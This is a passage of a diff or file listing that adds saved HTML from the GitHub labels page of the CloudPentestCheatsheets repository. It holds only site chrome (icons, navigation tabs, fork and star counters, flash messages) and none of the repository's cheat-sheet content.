     883 + <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path>
     884 +</svg>
     885 + <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span>
     886 + <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span>
     887 + <span class="js-stale-session-flash-switched" hidden>You switched accounts on another tab or window. <a href="">Reload</a> to refresh your session.</span>
     888 + 
     889 + <button class="flash-close js-flash-close" type="button" aria-label="Close">
     890 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     891 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     892 +</svg>
     893 + </button>
     894 + 
     895 +
     896 +</div>
     897 + </div>
     898 + 
     899 + <div id="start-of-content" class="show-on-focus"></div>
     900 + 
     901 + 
     902 + 
     903 + 
     904 + 
     905 + 
     906 + 
     907 + 
     908 + <div id="js-flash-container" data-turbo-replace>
     909 + 
     910 + 
     911 + 
     912 + 
     913 + 
     914 + <template class="js-flash-template">
     915 +
     916 +<div class="flash flash-full {{ className }}">
     917 + <div class="px-2" >
     918 + <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message">
     919 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     920 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     921 +</svg>
     922 + </button>
     923 + <div aria-atomic="true" role="alert" class="js-flash-alert">
     924 +
     925 + <div>{{ message }}</div>
     926 + 
     927 + </div>
     928 + </div>
     929 +</div>
     930 + </template>
     931 +</div>
     932 + 
     933 + 
     934 +
     935 + <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
     936 + 
     937 + 
     938 + 
     939 + 
     940 + 
     941 + 
     942 + <div
     943 + class="application-main "
     944 + data-commit-hovercards-enabled
     945 + data-discussion-hovercards-enabled
     946 + data-issue-and-pr-hovercards-enabled
     947 + >
     948 + <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class="">
     949 + <main id="js-repo-pjax-container" >
     950 +
     951 +
     952 + 
     953 +
     954 + 
     955 + 
     956 + 
     957 + 
     958 + 
     959 + 
     960 +
     961 + <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
     962 + 
     963 + <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
     964 + 
     965 + <div class="flex-auto min-width-0 width-fit mr-3">
     966 +
     967 + <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal">
     968 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2">
     969 + <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path>
     970 +</svg>
     971 +
     972 + <span class="author flex-self-stretch" itemprop="author">
     973 + <a class="url fn" rel="author" data-hovercard-type="user" data-hovercard-url="/users/dafthack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/dafthack">
     974 + dafthack
     975 +</a> </span>
     976 + <span class="mx-1 flex-self-stretch color-fg-muted">/</span>
     977 + <strong itemprop="name" class="mr-2 flex-self-stretch">
     978 + <a data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" href="/dafthack/CloudPentestCheatsheets">CloudPentestCheatsheets</a>
     979 + </strong>
     980 + 
     981 + <span></span><span class="Label Label--secondary v-align-middle mr-1">Public</span>
     982 + </div>
     983 + 
     984 + 
     985 + </div>
     986 + 
     987 + <div id="repository-details-container" data-turbo-replace>
     988 + <ul class="pagehead-actions flex-shrink-0 d-none d-md-inline" style="padding: 2px 0;">
     989 +
     990 +
     991 + 
     992 + <li>
     993 + <a href="/login?return_to=%2Fdafthack%2FCloudPentestCheatsheets" rel="nofollow" data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;notification subscription menu watch&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/labels&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="7b94a9bae0585301e1246767830d09e1b1095dcb0eb91b82b36efcf39f0f9c68" aria-label="You must be signed in to change notification settings" data-view-component="true" class="tooltipped tooltipped-s btn-sm btn"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2">
     994 + <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path>
     995 +</svg>Notifications
     996 +</a>
     997 + </li>
     998 + 
     999 + <li>
     1000 + <a icon="repo-forked" id="fork-button" href="/login?return_to=%2Fdafthack%2FCloudPentestCheatsheets" rel="nofollow" data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;repo details fork button&quot;,&quot;repository_id&quot;:271670262,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/labels&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="b4495314986a45397f73088d9dbbb29917322ae7dcebb79c90d4bfde9ecf5e96" data-view-component="true" class="btn-sm btn"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2">
     1001 + <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path>
     1002 +</svg>Fork
     1003 + <span id="repo-network-counter" data-pjax-replace="true" data-turbo-replace="true" title="450" data-view-component="true" class="Counter">450</span>
     1004 +</a>
     1005 + </li>
     1006 + 
     1007 + <li>
     1008 + <div data-view-component="true" class="BtnGroup d-flex">
     1009 + <a href="/login?return_to=%2Fdafthack%2FCloudPentestCheatsheets" rel="nofollow" data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;star button&quot;,&quot;repository_id&quot;:271670262,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/labels&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="2de507f4a51d7d4d8f658cd64b55dca50481d333d8c20ebd77af036ec58427a7" aria-label="You must be signed in to star a repository" data-view-component="true" class="tooltipped tooltipped-s btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2">
     1010 + <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path>
     1011 +</svg><span data-view-component="true" class="d-inline">
     1012 + Star
     1013 +</span> <span id="repo-stars-counter-star" aria-label="2213 users starred this repository" data-singular-suffix="user starred this repository" data-plural-suffix="users starred this repository" data-turbo-replace="true" title="2,213" data-view-component="true" class="Counter js-social-count">2.2k</span>
     1014 +</a> <button aria-label="You must be signed in to add this repository to a list" type="button" disabled="disabled" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down">
     1015 + <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path>
     1016 +</svg>
     1017 +</button></div>
     1018 + </li>
     1019 + 
     1020 + 
     1021 +
     1022 + 
     1023 +</ul>
     1024 + 
     1025 + </div>
     1026 + </div>
     1027 + 
     1028 + <div id="responsive-meta-container" data-turbo-replace>
     1029 +</div>
     1030 + 
     1031 + 
     1032 + <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
     1033 + 
     1034 + <ul data-view-component="true" class="UnderlineNav-body list-style-none">
     1035 + <li data-view-component="true" class="d-inline-flex">
     1036 + <a id="code-tab" href="/dafthack/CloudPentestCheatsheets" data-tab-item="i0code-tab" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages repo_deployments /dafthack/CloudPentestCheatsheets" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g c" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Code&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1037 +
     1038 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline">
     1039 + <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path>
     1040 +</svg>
     1041 + <span data-content="Code">Code</span>
     1042 + <span id="code-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="Not available" data-view-component="true" class="Counter"></span>
     1043 + 
     1044 + 
     1045 +
     1046 +</a></li>
     1047 + <li data-view-component="true" class="d-inline-flex">
     1048 + <a id="issues-tab" href="/dafthack/CloudPentestCheatsheets/issues" data-tab-item="i1issues-tab" data-selected-links="repo_issues repo_labels repo_milestones /dafthack/CloudPentestCheatsheets/issues" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g i" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Issues&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" aria-current="page" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item selected">
     1049 +
     1050 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline">
     1051 + <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path>
     1052 +</svg>
     1053 + <span data-content="Issues">Issues</span>
     1054 + <span id="issues-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="0" hidden="hidden" data-view-component="true" class="Counter">0</span>
     1055 + 
     1056 + 
     1057 +
     1058 +</a></li>
     1059 + <li data-view-component="true" class="d-inline-flex">
     1060 + <a id="pull-requests-tab" href="/dafthack/CloudPentestCheatsheets/pulls" data-tab-item="i2pull-requests-tab" data-selected-links="repo_pulls checks /dafthack/CloudPentestCheatsheets/pulls" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g p" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Pull requests&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1061 +
     1062 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline">
     1063 + <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path>
     1064 +</svg>
     1065 + <span data-content="Pull requests">Pull requests</span>
     1066 + <span id="pull-requests-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="0" hidden="hidden" data-view-component="true" class="Counter">0</span>
     1067 + 
     1068 + 
     1069 +
     1070 +</a></li>
     1071 + <li data-view-component="true" class="d-inline-flex">
     1072 + <a id="actions-tab" href="/dafthack/CloudPentestCheatsheets/actions" data-tab-item="i3actions-tab" data-selected-links="repo_actions /dafthack/CloudPentestCheatsheets/actions" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g a" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Actions&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1073 +
     1074 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline">
     1075 + <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path>
     1076 +</svg>
     1077 + <span data-content="Actions">Actions</span>
     1078 + <span id="actions-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="Not available" data-view-component="true" class="Counter"></span>
     1079 + 
     1080 + 
     1081 +
     1082 +</a></li>
     1083 + <li data-view-component="true" class="d-inline-flex">
     1084 + <a id="projects-tab" href="/dafthack/CloudPentestCheatsheets/projects" data-tab-item="i4projects-tab" data-selected-links="repo_projects new_repo_project repo_project /dafthack/CloudPentestCheatsheets/projects" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g b" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Projects&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1085 +
     1086 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline">
     1087 + <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path>
     1088 +</svg>
     1089 + <span data-content="Projects">Projects</span>
     1090 + <span id="projects-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="0" hidden="hidden" data-view-component="true" class="Counter">0</span>
     1091 + 
     1092 + 
     1093 +
     1094 +</a></li>
     1095 + <li data-view-component="true" class="d-inline-flex">
     1096 + <a id="security-tab" href="/dafthack/CloudPentestCheatsheets/security" data-tab-item="i5security-tab" data-selected-links="security overview alerts policy token_scanning code_scanning /dafthack/CloudPentestCheatsheets/security" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g s" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Security&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1097 +
     1098 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline">
     1099 + <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path>
     1100 +</svg>
     1101 + <span data-content="Security">Security</span>
     1102 + <include-fragment src="/dafthack/CloudPentestCheatsheets/security/overall-count" accept="text/fragment+html"></include-fragment>
     1103 + 
     1104 +
     1105 +</a></li>
     1106 + <li data-view-component="true" class="d-inline-flex">
     1107 + <a id="insights-tab" href="/dafthack/CloudPentestCheatsheets/pulse" data-tab-item="i6insights-tab" data-selected-links="repo_graphs repo_contributors dependency_graph dependabot_updates pulse people community /dafthack/CloudPentestCheatsheets/pulse" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Insights&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1108 +
     1109 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline">
     1110 + <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path>
     1111 +</svg>
     1112 + <span data-content="Insights">Insights</span>
     1113 + <span id="insights-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="Not available" data-view-component="true" class="Counter"></span>
     1114 + 
     1115 + 
     1116 +
     1117 +</a></li>
     1118 +</ul>
     1119 + <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative">
     1120 + <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0">
     1121 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal">
     1122 + <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path>
     1123 +</svg>
     1124 + <span class="sr-only">More</span>
     1125 + </div>
     1126 +</summary>
     1127 + <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> <ul>
     1128 + <li data-menu-item="i0code-tab" hidden>
     1129 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages repo_deployments /dafthack/CloudPentestCheatsheets" href="/dafthack/CloudPentestCheatsheets">
     1130 + Code
     1131 +</a> </li>
     1132 + <li data-menu-item="i1issues-tab" hidden>
     1133 + <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links="repo_issues repo_labels repo_milestones /dafthack/CloudPentestCheatsheets/issues" href="/dafthack/CloudPentestCheatsheets/issues">
     1134 + Issues
     1135 +</a> </li>
     1136 + <li data-menu-item="i2pull-requests-tab" hidden>
     1137 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_pulls checks /dafthack/CloudPentestCheatsheets/pulls" href="/dafthack/CloudPentestCheatsheets/pulls">
     1138 + Pull requests
     1139 +</a> </li>
     1140 + <li data-menu-item="i3actions-tab" hidden>
     1141 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_actions /dafthack/CloudPentestCheatsheets/actions" href="/dafthack/CloudPentestCheatsheets/actions">
     1142 + Actions
     1143 +</a> </li>
     1144 + <li data-menu-item="i4projects-tab" hidden>
     1145 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_projects new_repo_project repo_project /dafthack/CloudPentestCheatsheets/projects" href="/dafthack/CloudPentestCheatsheets/projects">
     1146 + Projects
     1147 +</a> </li>
     1148 + <li data-menu-item="i5security-tab" hidden>
     1149 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="security overview alerts policy token_scanning code_scanning /dafthack/CloudPentestCheatsheets/security" href="/dafthack/CloudPentestCheatsheets/security">
     1150 + Security
     1151 +</a> </li>
     1152 + <li data-menu-item="i6insights-tab" hidden>
     1153 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_graphs repo_contributors dependency_graph dependabot_updates pulse people community /dafthack/CloudPentestCheatsheets/pulse" href="/dafthack/CloudPentestCheatsheets/pulse">
     1154 + Insights
     1155 +</a> </li>
     1156 + </ul>
     1157 +</details-menu>
     1158 +</details></div>
     1159 +</nav>
     1160 + 
     1161 + </div>
     1162 + 
     1163 +
     1164 + 
     1165 + 
     1166 + 
     1167 +<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class="">
     1168 + <div id="repo-content-pjax-container" class="repository-content " >
     1169 +
     1170 + 
     1171 + 
     1172 +
     1173 +
     1174 + <div class="clearfix new-discussion-timeline js-check-all-container container-xl px-3 px-md-4 px-lg-5 mt-4" data-pjax="" data-turbo-frame="">
     1175 +
     1176 + <div class="labels-list js-details-container Details ">
     1177 + <div class="subnav d-flex flex-md-row flex-column" data-pjax>
     1178 + <div class="d-flex">
     1179 +
     1180 +<nav class="subnav-links float-left d-flex no-wrap" aria-label="Issue">
     1181 + <a selected_link="repo_labels" class="js-selected-navigation-item selected subnav-item" aria-current="page" data-selected-links="repo_labels /dafthack/CloudPentestCheatsheets/labels" href="/dafthack/CloudPentestCheatsheets/labels">
     1182 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-tag">
     1183 + <path d="M1 7.775V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 0 1 0 2.474l-5.026 5.026a1.75 1.75 0 0 1-2.474 0l-6.25-6.25A1.752 1.752 0 0 1 1 7.775Zm1.5 0c0 .066.026.13.073.177l6.25 6.25a.25.25 0 0 0 .354 0l5.025-5.025a.25.25 0 0 0 0-.354l-6.25-6.25a.25.25 0 0 0-.177-.073H2.75a.25.25 0 0 0-.25.25ZM6 5a1 1 0 1 1 0 2 1 1 0 0 1 0-2Z"></path>
     1184 +</svg>
     1185 + Labels
     1186 +</a> <a selected_link="repo_labels" class="js-selected-navigation-item subnav-item" data-selected-links="repo_milestones /dafthack/CloudPentestCheatsheets/milestones" href="/dafthack/CloudPentestCheatsheets/milestones">
     1187 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-milestone">
     1188 + <path d="M7.75 0a.75.75 0 0 1 .75.75V3h3.634c.414 0 .814.147 1.13.414l2.07 1.75a1.75 1.75 0 0 1 0 2.672l-2.07 1.75a1.75 1.75 0 0 1-1.13.414H8.5v5.25a.75.75 0 0 1-1.5 0V10H2.75A1.75 1.75 0 0 1 1 8.25v-3.5C1 3.784 1.784 3 2.75 3H7V.75A.75.75 0 0 1 7.75 0Zm4.384 8.5a.25.25 0 0 0 .161-.06l2.07-1.75a.248.248 0 0 0 0-.38l-2.07-1.75a.25.25 0 0 0-.161-.06H2.75a.25.25 0 0 0-.25.25v3.5c0 .138.112.25.25.25h9.384Z"></path>
     1189 +</svg>
     1190 + Milestones
     1191 +</a></nav>
     1192 + 
     1193 + </div>
     1194 + 
     1195 + <div class="pl-md-2 pl-0 pr-md-4 pr-0 mt-md-0 mt-3" role="search">
     1196 + <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="ml-0 subnav-search float-left position-relative" data-pjax="true" role="search" aria-label="Labels" data-turbo="false" action="/dafthack/CloudPentestCheatsheets/labels" accept-charset="UTF-8" method="get">
